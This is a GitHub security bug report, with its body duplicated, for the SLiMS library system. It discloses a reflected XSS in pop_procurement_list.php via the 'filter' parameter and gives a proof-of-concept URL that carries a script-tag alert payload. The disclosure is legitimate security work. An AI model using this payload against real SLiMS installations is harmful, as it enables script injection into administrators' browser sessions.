**The bug**
Unfiltered parsing from parameter `filter` from line 38-43

**To Reproduce or PoC**
1. login as admin
2. access url below and change IP_ADDRESS_HERE to your own website:
`http://<IP_ADDRESS_HERE_OR_LOCALHOST>/admin/modules/reporting/customs/pop_procurement_list.php?filter=<script>alert(String.fromCharCode(120, 115, 115, 32, 98, 121, 32, 48, 120, 100, 99, 57));</script>`
3. there should be an alert that contains message `xss by 0xdc9`


**Screenshots**
<img width="1086" alt="Screen Shot 2022-12-22 at 01 17 50" src="https://user-images.githubusercontent.com/46653986/208967075-32f6c99a-611c-441b-bd25-5d897b250f50.png">


**Desktop (please complete the following information):**
- OS: MacOS Mojave 10.14.6
- Browser: Google Chrome | 103.0.5060.134 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.4.2
[Security Bug] XSS in pop_procurement_list.php
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : [Security Bug] XSS in pop_procurement_list.php
Issue date:

--- start body ---
**The bug**
Unfiltered parsing from parameter `filter` from line 38-43

**To Reproduce or PoC**
1. login as admin
2. access url below and change IP_ADDRESS_HERE to your own website:
`http://<IP_ADDRESS_HERE_OR_LOCALHOST>/admin/modules/reporting/customs/pop_procurement_list.php?filter=<script>alert(String.fromCharCode(120, 115, 115, 32, 98, 121, 32, 48, 120, 100, 99, 57));</script>`
3. there should be an alert that contains message `xss by 0xdc9`


**Screenshots**
<img width="1086" alt="Screen Shot 2022-12-22 at 01 17 50" src="https://user-images.githubusercontent.com/46653986/208967075-32f6c99a-611c-441b-bd25-5d897b250f50.png">


**Desktop (please complete the following information):**
- OS: MacOS Mojave 10.14.6
- Browser: Google Chrome | 103.0.5060.134 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.4.2
--- end body ---
